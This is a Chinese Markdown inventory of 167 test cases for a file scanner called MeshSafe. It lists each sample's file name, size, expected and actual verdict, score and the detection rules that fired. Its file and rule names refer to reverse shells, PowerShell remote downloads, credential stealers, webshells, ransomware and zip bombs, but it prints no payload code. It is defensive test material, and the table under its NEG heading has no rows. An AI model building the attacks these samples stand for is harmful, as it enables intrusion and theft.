- 自动扫描 index.json 全部样本 + 引擎实际判定结果 - 按层级分组 (L0-L5/L7/NEG),每组含汇总表 - 逐条展开 description / 文件大小 / 预期 / 实际 verdict / score / 命中规则详情 - 对账口径: 三段式 tier,167/167 全部通过 100% - 生成时间: 2026-10-29,v0.2.2 基准 - 用途: 后期维护备查,新增用例时追加
2725 lines
138 KiB
Markdown
2725 lines
138 KiB
Markdown
# MeshSafe 测试用例清单
|
||
|
||
> 生成时间: 2026-10-29T11:48:22.953397
|
||
> 目标版本: v0.2.2
|
||
> 用例总数: **167**
|
||
> 对账结果: **✅ 167 / ❌ 0** (通过率 100.0%)
|
||
|
||
---
|
||
|
||
## 汇总
|
||
|
||
| 层级 | 说明 | 用例数 | 通过 | 失败 |
|
||
|---|---|---:|---:|---:|
|
||
| **L0** | 结构分析(幻数/后缀伪装/嵌套/路径穿越/zip 炸弹) | 27 | 27 | 0 |
|
||
| **L1** | ClamAV 病毒库扫描 | 25 | 25 | 0 |
|
||
| **L3** | 关键词匹配(恶意行为特征) | 25 | 25 | 0 |
|
||
| **L4** | YARA 规则匹配 | 15 | 15 | 0 |
|
||
| **L5** | PE 二进制静态分析(壳/导入/节/签名) | 20 | 20 | 0 |
|
||
| **L7** | 历史遗留样本(CSV 之外的真实恶意/误报对照) | 35 | 35 | 0 |
|
||
| **NEG** | 负样本(业务正常文件,应无告警) | 20 | 20 | 0 |
|
||
|
||
**对账口径(三段式 tier)**
|
||
|
||
| 预期 tier | verdict | 实际 tier 要求 |
|
||
|-----------|---------|---------------|
|
||
| tier0 | clean / pass | tier ≤ 1(pass 或 suspicious,不能 reject) |
|
||
| tier1 | suspicious / review | tier ≥ 1(suspicious 或 malicious 都算过) |
|
||
| tier2 | reject / malicious / error | tier = 2(必须 reject / malicious / error) |
|
||
|
||
---
|
||
|
||
## L0 — 结构分析(幻数/后缀伪装/嵌套/路径穿越/zip 炸弹)
|
||
|
||
**合计: 27 条,通过 27,失败 0**
|
||
|
||
| # | case_id | 文件 | 大小 | 预期 | 实际 | 分数 | 对账 | 规则命中 |
|
||
|---|---------|------|-----:|------|------|-----:|:----:|---------|
|
||
| 1 | **L0-002** | `L0-002_png_normal.png` | 58B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 2 | **L0-004** | `L0-004_pdf_normal.pdf` | 14B | `pass` | `suspicious` | 20.0 | ✅ | MalformedStructure, PdfParseFailed |
|
||
| 3 | **L0-006** | `L0-006_disguise_jpg_pe.jpg` | 104B | `reject` | `reject` | 100.0 | ✅ | ExtensionMismatch, ExtensionMismatch |
|
||
| 4 | **L0-007** | `L0-007_disguise_txt_pdf.txt` | 14B | `review` | `reject` | 100.0 | ✅ | ExtensionMismatch, MalformedStructure |
|
||
| 5 | **L0-008** | `L0-008_disguise_png_zip.png` | 54B | `review` | `reject` | 100.0 | ✅ | ExtensionMismatch, MalformedStructure |
|
||
| 6 | **L0-009** | `L0-009_double_ext_pdf_exe.pdf.exe` | 104B | `reject` | `reject` | 100.0 | ✅ | DoubleExtension, DangerousExecutableExtension, DoubleExtension, PeParseFailed |
|
||
| 7 | **L0-010** | `L0-010_double_ext_txt_ps1.txt.ps1` | 10B | `reject` | `reject` | 100.0 | ✅ | DoubleExtension, DangerousExecutableExtension, DoubleExtension |
|
||
| 8 | **L0-011** | `L0-011_double_ext_docx_js.docx.js` | 11B | `reject` | `reject` | 100.0 | ✅ | DoubleExtension, DangerousExecutableExtension, DoubleExtension |
|
||
| 9 | **L0-012** | `L0-012_double_ext_xlsx_bat.xlsx.bat` | 21B | `reject` | `reject` | 100.0 | ✅ | DoubleExtension, DangerousExecutableExtension, DoubleExtension |
|
||
| 10 | **L0-013** | `L0-013_clean.ps1` | 0B | `review` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension |
|
||
| 11 | **L0-014** | `L0-014_clean.bat` | 0B | `review` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension |
|
||
| 12 | **L0-015** | `L0-015_clean.cmd` | 0B | `review` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension |
|
||
| 13 | **L0-016** | `L0-016_clean.vbs` | 0B | `review` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension |
|
||
| 14 | **L0-017** | `L0-017_clean.js` | 0B | `review` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension |
|
||
| 15 | **L0-018** | `L0-018_zip_traversal.zip` | 137B | `reject` | `malicious` | 100.0 | ✅ | PathTraversal, PathTraversalBlocked |
|
||
| 16 | **L0-019** | `L0-019_zip_deep_traversal.zip` | 147B | `reject` | `malicious` | 100.0 | ✅ | PathTraversal, PathTraversalBlocked |
|
||
| 17 | **L0-020** | `L0-020_zip_bomb.zip` | 2,553,622B | `reject` | `reject` | 100.0 | ✅ | ArchiveBombSuspect, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked |
|
||
| 18 | **L0-021** | `L0-021_small_bomb.zip` | 409,802B | `reject` | `reject` | 100.0 | ✅ | ArchiveBombSuspect, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked, ArchiveBombBlocked |
|
||
| 19 | **L0-022** | `L0-022_3layer_nested.zip` | 365B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 20 | **L0-023** | `L0-023_5layer_nested.zip` | 952B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 21 | **L0-024** | `L0-024_encrypted.zip` | 144B | `review` | `suspicious` | 20.0 | ✅ | EncryptedArchive, ExtractMemberFailed |
|
||
| 22 | **L0-025** | `L0-025_corrupt_zip.zip` | 59B | `review` | `suspicious` | 35.0 | ✅ | MalformedStructure, ArchiveBroken |
|
||
| 23 | **L0-026** | `L0-026_corrupt_direntry.zip` | 130B | `review` | `suspicious` | 25.0 | ✅ | MalformedStructure |
|
||
| 24 | **L0-027** | `L0-027_long_filename.zip` | 519B | `review` | `suspicious` | 5.0 | ✅ | LongFilename |
|
||
| 25 | **L0-028** | `L0-028_unicode_filename.zip` | 285B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 26 | **L0-029** | `L0-029_zero_byte_exe.exe` | 0B | `review` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
|
||
| 27 | **L0-030** | `L0-030_nested_traversal.zip` | 647B | `reject` | `malicious` | 100.0 | ✅ | PathTraversal, ArchiveContainsExecutable, PathTraversalBlocked, PathTraversalBlocked |
|
||
|
||
## L1 — ClamAV 病毒库扫描
|
||
|
||
**合计: 25 条,通过 25,失败 0**
|
||
|
||
| # | case_id | 文件 | 大小 | 预期 | 实际 | 分数 | 对账 | 规则命中 |
|
||
|---|---------|------|-----:|------|------|-----:|:----:|---------|
|
||
| 1 | **L1-001** | `L1-001_eicar.txt` | 68B | `reject` | `malicious` | 100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature |
|
||
| 2 | **L1-002** | `L1-002_eicar_in_zip.zip` | 184B | `reject` | `malicious` | 100.0 | ✅ | Eicar-Test-Signature |
|
||
| 3 | **L1-003** | `L1-003_eicar_in_encrypted.zip` | 198B | `review` | `malicious` | 100.0 | ✅ | Eicar-Test-Signature |
|
||
| 4 | **L1-004** | `L1-004_eicar_in_docx.docx` | 336B | `reject` | `malicious` | 100.0 | ✅ | Eicar-Test-Signature |
|
||
| 5 | **L1-005** | `L1-005_eicar_modified.txt` | 68B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 6 | **L1-006** | `L0-001_jpg_normal.jpg` | 54B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 7 | **L1-007** | `L0-003_docx_normal.docx` | 281B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 8 | **L1-008** | `L0-005_pe_clean.exe` | 926B | `pass` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
|
||
| 9 | **L1-009** | `L1-009_minimal.cvd` | 38B | `review` | `reject` | 100.0 | ✅ | - |
|
||
| 10 | **L1-010** | `L1-010_corrupt.cvd` | 30B | `reject` | `reject` | 100.0 | ✅ | - |
|
||
| 11 | **L1-011** | `L1-011_eicar_in_3layer.zip` | 412B | `reject` | `malicious` | 100.0 | ✅ | Eicar-Test-Signature |
|
||
| 12 | **L1-012** | `L1-012_eicar_base64.txt` | 92B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 13 | **L1-013** | `L1-013_bigfile_eicar.txt` | 800,070B | `review` | `suspicious` | 35.0 | ✅ | EmbeddedEICAR |
|
||
| 14 | **L1-014** | `L1-014_concurrent_test.txt` | 163B | `review` | `suspicious` | 35.0 | ✅ | EmbeddedEICAR |
|
||
| 15 | **L1-014-00** | `L1-014_concurrent_eicar_00.txt` | 68B | `reject` | `malicious` | 100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature |
|
||
| 16 | **L1-014-01** | `L1-014_concurrent_eicar_01.txt` | 68B | `reject` | `malicious` | 100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature |
|
||
| 17 | **L1-014-02** | `L1-014_concurrent_eicar_02.txt` | 68B | `reject` | `malicious` | 100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature |
|
||
| 18 | **L1-014-03** | `L1-014_concurrent_eicar_03.txt` | 68B | `reject` | `malicious` | 100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature |
|
||
| 19 | **L1-014-04** | `L1-014_concurrent_eicar_04.txt` | 68B | `reject` | `malicious` | 100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature |
|
||
| 20 | **L1-014-05** | `L1-014_concurrent_eicar_05.txt` | 68B | `reject` | `malicious` | 100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature |
|
||
| 21 | **L1-014-06** | `L1-014_concurrent_eicar_06.txt` | 68B | `reject` | `malicious` | 100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature |
|
||
| 22 | **L1-014-07** | `L1-014_concurrent_eicar_07.txt` | 68B | `reject` | `malicious` | 100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature |
|
||
| 23 | **L1-014-08** | `L1-014_concurrent_eicar_08.txt` | 68B | `reject` | `malicious` | 100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature |
|
||
| 24 | **L1-014-09** | `L1-014_concurrent_eicar_09.txt` | 68B | `reject` | `malicious` | 100.0 | ✅ | EmbeddedEICAR, Eicar-Test-Signature |
|
||
| 25 | **L1-015** | `L1-015_layer_off_sample.bin` | 68B | `review` | `malicious` | 100.0 | ✅ | ExtensionMismatch, DangerousExecutableExtension, Eicar-Test-Signature, PeParseFailed |
|
||
|
||
## L3 — 关键词匹配(恶意行为特征)
|
||
|
||
**合计: 25 条,通过 25,失败 0**
|
||
|
||
| # | case_id | 文件 | 大小 | 预期 | 实际 | 分数 | 对账 | 规则命中 |
|
||
|---|---------|------|-----:|------|------|-----:|:----:|---------|
|
||
| 1 | **L3-001** | `L3-001_001_sample.ps1` | 77B | `reject` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, SuspiciousScript, RemoteDownloadPowerShell, Test_PowerShell_Download |
|
||
| 2 | **L3-002** | `L3-002_002_sample.ps1` | 29B | `reject` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, ReverseShellNetcat, C7_Linux_ReverseShell_NC, Test_ReverseShell_Basic |
|
||
| 3 | **L3-003** | `L3-003_003_sample.bat` | 40B | `reject` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, RemoteDownloadUnix |
|
||
| 4 | **L3-004** | `L3-004_004_sample.txt` | 54B | `reject` | `malicious` | 100.0 | ✅ | CredentialStealer |
|
||
| 5 | **L3-005** | `L3-005_005_sample.txt` | 26B | `reject` | `malicious` | 100.0 | ✅ | CredentialExport |
|
||
| 6 | **L3-006** | `L3-006_006_sample.txt` | 23B | `review` | `suspicious` | 35.0 | ✅ | RemoteSessionHijack |
|
||
| 7 | **L3-007** | `L3-007_007_sample.txt` | 23B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 8 | **L3-008** | `L3-008_008_sample.ps1` | 39B | `pass` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension |
|
||
| 9 | **L3-009** | `L3-009_newline_split.txt` | 54B | `review` | `malicious` | 100.0 | ✅ | RemoteDownloadPowerShell |
|
||
| 10 | **L3-010** | `L3-010_010_sample.ps1` | 42B | `review` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension |
|
||
| 11 | **L3-011** | `L3-011_011_sample.js` | 58B | `review` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, RemoteDownloadUnix |
|
||
| 12 | **L3-012** | `L3-012_012_sample.bat` | 34B | `review` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, RemoteDownloadUnix |
|
||
| 13 | **L3-013** | `L3-013_normal_scp.sh` | 118B | `pass` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension |
|
||
| 14 | **L3-014** | `L3-014_l3001_in_zip.zip` | 177B | `review` | `malicious` | 100.0 | ✅ | ArchiveContainsExecutable, RemoteDownloadPowerShell, Test_PowerShell_Download |
|
||
| 15 | **L3-015** | `L3-015_keyword_in_docx.docx` | 316B | `review` | `malicious` | 100.0 | ✅ | RemoteDownloadPowerShell, Test_PowerShell_Download |
|
||
| 16 | **L3-016** | `L3-016_016_sample.ps1` | 0B | `pass` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension |
|
||
| 17 | **L3-017** | `L3-017_017_sample.txt` | 39B | `review` | `malicious` | 100.0 | ✅ | ReverseShellNetcat, CredentialStealer |
|
||
| 18 | **L3-018** | `L3-018_018_sample.txt` | 34B | `review` | `malicious` | 100.0 | ✅ | RemoteDownloadPowerShell |
|
||
| 19 | **L3-019** | `L3-019_unicode_obfuscated.txt` | 35B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 20 | **L3-020** | `L3-020_log_with_keyword.log` | 163B | `reject` | `malicious` | 95.0 | ✅ | C7_Linux_ReverseShell_NC, Test_ReverseShell_Basic |
|
||
| 21 | **L3-021** | `L3-021_021_sample.eml` | 89B | `review` | `malicious` | 100.0 | ✅ | RemoteDownloadPowerShell, Test_PowerShell_Download |
|
||
| 22 | **L3-022** | `L3-022_layer_off_sample.bin` | 57B | `review` | `malicious` | 100.0 | ✅ | ExtensionMismatch, DangerousExecutableExtension, RemoteDownloadPowerShell, Test_PowerShell_Download, PeParseFailed |
|
||
| 23 | **L3-023** | `L3-023_keyword_in_encrypted.zip` | 139B | `review` | `malicious` | 100.0 | ✅ | CredentialStealer |
|
||
| 24 | **L3-024** | `L3-024_024_sample.txt` | 100,035B | `review` | `malicious` | 100.0 | ✅ | RemoteDownloadPowerShell |
|
||
| 25 | **L3-025** | `L3-025_whitelist_test.txt` | 87B | `review` | `malicious` | 100.0 | ✅ | RemoteDownloadPowerShell, Test_PowerShell_Download |
|
||
|
||
## L4 — YARA 规则匹配
|
||
|
||
**合计: 15 条,通过 15,失败 0**
|
||
|
||
| # | case_id | 文件 | 大小 | 预期 | 实际 | 分数 | 对账 | 规则命中 |
|
||
|---|---------|------|-----:|------|------|-----:|:----:|---------|
|
||
| 1 | **L4-001** | `L4-001_001_sample.txt` | 85B | `review` | `malicious` | 100.0 | ✅ | ReverseShellNetcat, C7_Linux_ReverseShell_Bash, Test_ReverseShell_Basic |
|
||
| 2 | **L4-002** | `L4-002_002_sample.txt` | 42B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 3 | **L4-003** | `L4-003_pe_with_string.exe` | 928B | `review` | `malicious` | 75.0 | ✅ | DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, PEArchInfo |
|
||
| 4 | **L4-004** | `L4-004_multi_rule_match.txt` | 128B | `review` | `malicious` | 100.0 | ✅ | RemoteDownloadPowerShell, C7_Linux_ReverseShell_NC, Test_ReverseShell_Basic, Test_PowerShell_Download |
|
||
| 5 | **L4-005** | `L4-005_005_sample.txt` | 153B | `review` | `suspicious` | 10.0 | ✅ | Newly_Added_Rule_Test |
|
||
| 6 | **L4-006** | `L4-006_bad_syntax_rule.yar` | 43B | `review` | `reject` | 100.0 | ✅ | ExtensionMismatch |
|
||
| 7 | **L4-007** | `L4-007_meta_rule_match.txt` | 21B | `review` | `suspicious` | 10.0 | ✅ | Meta_Label_Test |
|
||
| 8 | **L4-008** | `L4-008_in_zip.zip` | 183B | `review` | `malicious` | 100.0 | ✅ | ReverseShellNetcat, C7_Linux_ReverseShell_NC, Test_ReverseShell_Basic |
|
||
| 9 | **L4-009** | `L4-009_yara_in_encrypted.zip` | 150B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 10 | **L4-010** | `L4-010_010_sample.txt` | 165B | `review` | `malicious` | 100.0 | ✅ | ReverseShellPowershell, Regex_Shell_Pattern |
|
||
| 11 | **L4-011** | `L4-011_count_condition.txt` | 140B | `review` | `suspicious` | 10.0 | ✅ | Count_Condition_Test |
|
||
| 12 | **L4-012** | `L4-012_size_condition.bin` | 29B | `review` | `reject` | 100.0 | ✅ | ExtensionMismatch, DangerousExecutableExtension, PeParseFailed |
|
||
| 13 | **L4-013** | `L4-013_bigfile_yara.txt` | 2,000,118B | `review` | `malicious` | 100.0 | ✅ | C7_Linux_ReverseShell_Bash, C7_Linux_ReverseShell_NC, C7_Linux_ReverseShell_Misc, Test_ReverseShell_Basic |
|
||
| 14 | **L4-014** | `L4-014_layer_off_sample.bin` | 21B | `review` | `reject` | 100.0 | ✅ | ExtensionMismatch, DangerousExecutableExtension, PeParseFailed |
|
||
| 15 | **L4-015** | `L4-015_hash_whitelist.txt` | 19B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
|
||
## L5 — PE 二进制静态分析(壳/导入/节/签名)
|
||
|
||
**合计: 20 条,通过 20,失败 0**
|
||
|
||
| # | case_id | 文件 | 大小 | 预期 | 实际 | 分数 | 对账 | 规则命中 |
|
||
|---|---------|------|-----:|------|------|-----:|:----:|---------|
|
||
| 1 | **L5-001** | `L5-001_clean_hello.exe` | 926B | `pass` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
|
||
| 2 | **L5-002** | `L5-002_upx_shell.exe` | 926B | `review` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, PeParseFailed, RWXSectionDetected |
|
||
| 3 | **L5-003** | `L5-003_double_upx.exe` | 926B | `review` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, PeParseFailed, RWXSectionDetected |
|
||
| 4 | **L5-004** | `L5-004_rwx_section.exe` | 926B | `reject` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, PeParseFailed, RWXSectionDetected |
|
||
| 5 | **L5-005** | `L5-005_injection_imports.exe` | 928B | `reject` | `malicious` | 75.0 | ✅ | DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, PEArchInfo |
|
||
| 6 | **L5-006** | `L5-006_single_virtualalloc.exe` | 928B | `review` | `malicious` | 75.0 | ✅ | DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, PEArchInfo |
|
||
| 7 | **L5-007** | `L5-007_garbage_section.exe` | 926B | `review` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
|
||
| 8 | **L5-008** | `L5-008_many_exports.exe` | 928B | `review` | `malicious` | 75.0 | ✅ | DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, PEArchInfo |
|
||
| 9 | **L5-009** | `L5-009_shell_in_resource.exe` | 928B | `review` | `malicious` | 75.0 | ✅ | DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, PEArchInfo |
|
||
| 10 | **L5-010** | `L5-010_bad_mz.exe` | 2,048B | `review` | `reject` | 100.0 | ✅ | ExtensionMismatch, DangerousExecutableExtension, PeParseFailed |
|
||
| 11 | **L5-011** | `L5-011_truncated.exe` | 308B | `review` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
|
||
| 12 | **L5-012** | `L5-012_pe32.exe` | 926B | `pass` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
|
||
| 13 | **L5-013** | `L5-013_pe64.exe` | 926B | `pass` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
|
||
| 14 | **L5-014** | `L5-014_clean_tool.exe` | 926B | `pass` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
|
||
| 15 | **L5-015** | `L5-015_bad_reloc.exe` | 928B | `review` | `malicious` | 75.0 | ✅ | DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, PEArchInfo |
|
||
| 16 | **L5-016** | `L5-016_zero_sections.exe` | 376B | `review` | `malicious` | 75.0 | ✅ | DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, PEArchInfo |
|
||
| 17 | **L5-017** | `L5-017_upx_rwx.exe` | 926B | `review` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, PeParseFailed, RWXSectionDetected |
|
||
| 18 | **L5-018** | `L5-018_debug_info.exe` | 926B | `review` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
|
||
| 19 | **L5-019** | `L5-019_200mb_huge.exe` | 1,026B | `pass` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
|
||
| 20 | **L5-020** | `L5-020_layer_off_sample.bin` | 928B | `review` | `reject` | 100.0 | ✅ | ExtensionMismatch, DangerousExecutableExtension, UnsignedExecutable, SuspiciousTimestamp, RWXSectionDetected, PEArchInfo |
|
||
|
||
## L7 — 历史遗留样本(CSV 之外的真实恶意/误报对照)
|
||
|
||
**合计: 35 条,通过 35,失败 0**
|
||
|
||
| # | case_id | 文件 | 大小 | 预期 | 实际 | 分数 | 对账 | 规则命中 |
|
||
|---|---------|------|-----:|------|------|-----:|:----:|---------|
|
||
| 1 | **L7-001** | `broken.zip` | 125B | `clean` | `clean` | 0.0 | ✅ | - |
|
||
| 2 | **L7-002** | `evil.iso` | 32,775B | `suspicious` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension |
|
||
| 3 | **L7-003** | `evil_help.chm` | 1,691B | `malicious` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, ChmWithScript, RemoteDownloadUnix |
|
||
| 4 | **L7-004** | `linux_malicious` | 71B | `malicious` | `malicious` | 100.0 | ✅ | LinuxExecutable, ReverseShellNetcat, C7_Linux_ReverseShell_Bash, Test_ReverseShell_Basic |
|
||
| 5 | **L7-005** | `lolbin.cmd` | 114B | `suspicious` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, CommandExecutionObfuscated |
|
||
| 6 | **L7-006** | `macro_alert.docm` | 2,586B | `malicious` | `malicious` | 100.0 | ✅ | VBAAutoExecShell, RemoteDownloadPowerShell, RemoteDownloadUnix |
|
||
| 7 | **L7-007** | `malicious.desktop` | 114B | `malicious` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, DesktopFileAutoExec, DesktopFileAutoExec, ReverseShellNetcat, C7_Linux_ReverseShell_Bash, C7_Linux_ReverseShell_Misc, Test_ReverseShell_Basic |
|
||
| 8 | **L7-008** | `malicious.pdf` | 534B | `malicious` | `malicious` | 100.0 | ✅ | PdfOpenAction, PdfJavaScript |
|
||
| 9 | **L7-009** | `miner_config.json` | 123B | `suspicious` | `suspicious` | 45.0 | ✅ | C7_Linux_Miner_Generic |
|
||
| 10 | **L7-010** | `normal.pdf` | 439B | `clean` | `clean` | 0.0 | ✅ | - |
|
||
| 11 | **L7-011** | `normal_deploy.sh` | 155B | `suspicious` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension |
|
||
| 12 | **L7-012** | `normal_readme.txt` | 162B | `clean` | `clean` | 0.0 | ✅ | - |
|
||
| 13 | **L7-013** | `normal_report.docx` | 1,212B | `clean` | `clean` | 0.0 | ✅ | - |
|
||
| 14 | **L7-014** | `ole_dropper.doc` | 1,641B | `suspicious` | `suspicious` | 35.0 | ✅ | OleToolsUnavailable, RemoteSessionHijack |
|
||
| 15 | **L7-015** | `pe_downloader.exe` | 1,148B | `malicious` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, C1_PE_Downloader_Loader, PeParseFailed |
|
||
| 16 | **L7-016** | `pe_injection.exe` | 1,129B | `malicious` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, RemoteSessionHijack, C1_PE_ProcessInjection, PeParseFailed |
|
||
| 17 | **L7-017** | `persist_cron.sh` | 95B | `malicious` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, ShellScriptDangerous, ShellScriptDangerous, Txt.Malware.Sustes-6779550-1, RemoteDownloadUnix, C7_Linux_Persistence_Crontab |
|
||
| 18 | **L7-018** | `phishing.eml` | 1,869B | `reject` | `reject` | 100.0 | ✅ | EmailPhishingKeyword, EmailPhishingKeyword, EmailPhishingKeyword, EmailPhishingKeyword, EmailPhishingKeyword, EmailAttachmentDangerous, EmailAttachmentDangerous, EmailAttachmentDisguised, EmailAttachmentDangerous, EmailAttachmentWebshell |
|
||
| 19 | **L7-019** | `photo.jpg.php` | 29B | `reject` | `reject` | 100.0 | ✅ | DoubleExtension, DangerousExecutableExtension, DoubleExtension |
|
||
| 20 | **L7-020** | `ransom_dropper.exe.txt` | 215B | `reject` | `malicious` | 100.0 | ✅ | C8_Ransomware_Encryption, C8_Ransomware_Note_Filename, C8_Ransomware_VolumeShadow |
|
||
| 21 | **L7-021** | `sealed.docx` | 6,656B | `reject` | `reject` | 100.0 | ✅ | MalformedStructure, OfficeEncrypted, OoxmlParseFailed, ArchiveBroken |
|
||
| 22 | **L7-022** | `sealed.xlsx` | 6,656B | `reject` | `reject` | 100.0 | ✅ | ExtensionMismatch, MalformedStructure, OfficeEncrypted, OoxmlParseFailed, ArchiveBroken |
|
||
| 23 | **L7-023** | `shell_aspx.aspx` | 169B | `reject` | `reject` | 100.0 | ✅ | DangerousExecutableExtension |
|
||
| 24 | **L7-024** | `shell_bash_devtcp.sh` | 51B | `malicious` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, ShellScriptDangerous, ReverseShellNetcat, C7_Linux_ReverseShell_Bash, Test_ReverseShell_Basic |
|
||
| 25 | **L7-025** | `shell_jsp_runtime.jsp` | 316B | `reject` | `reject` | 100.0 | ✅ | DangerousExecutableExtension, C3_JSP_Webshell_RuntimeExec |
|
||
| 26 | **L7-026** | `shell_nc.sh` | 42B | `malicious` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, ShellScriptDangerous, C7_Linux_ReverseShell_NC, Test_ReverseShell_Basic |
|
||
| 27 | **L7-027** | `shell_php_eval.php` | 40B | `reject` | `reject` | 100.0 | ✅ | DangerousExecutableExtension, C3_PHP_Webshell_Oneliner |
|
||
| 28 | **L7-028** | `shell_php_obf.php` | 61B | `reject` | `reject` | 100.0 | ✅ | DangerousExecutableExtension, C3_PHP_Webshell_Obfuscated |
|
||
| 29 | **L7-029** | `shell_python.py` | 211B | `suspicious` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension |
|
||
| 30 | **L7-030** | `shortcut.lnk` | 143B | `suspicious` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, RemoteDownloadUnix |
|
||
| 31 | **L7-031** | `template_backdoor.docx` | 2,176B | `malicious` | `malicious` | 100.0 | ✅ | AttachedTemplate |
|
||
| 32 | **L7-032** | `vba_autoexec.bas` | 98B | `malicious` | `malicious` | 100.0 | ✅ | VBAAutoExecShell, RemoteDownloadUnix |
|
||
| 33 | **L7-033** | `wps_macro.js` | 142B | `malicious` | `malicious` | 100.0 | ✅ | DangerousExecutableExtension, ReverseShellNetcat, C7_Linux_ReverseShell_Bash, C7_Linux_ReverseShell_Misc, Test_ReverseShell_Basic |
|
||
| 34 | **L7-034** | `zip_traversal.zip` | 164B | `malicious` | `malicious` | 100.0 | ✅ | PathTraversal, PathTraversalBlocked |
|
||
| 35 | **L7-035** | `neg_tmp1.zip` | 22B | `clean` | `clean` | 0.0 | ✅ | - |
|
||
|
||
## NEG — 负样本(业务正常文件,应无告警)
|
||
|
||
**合计: 20 条,通过 20,失败 0**
|
||
|
||
| # | case_id | 文件 | 大小 | 预期 | 实际 | 分数 | 对账 | 规则命中 |
|
||
|---|---------|------|-----:|------|------|-----:|:----:|---------|
|
||
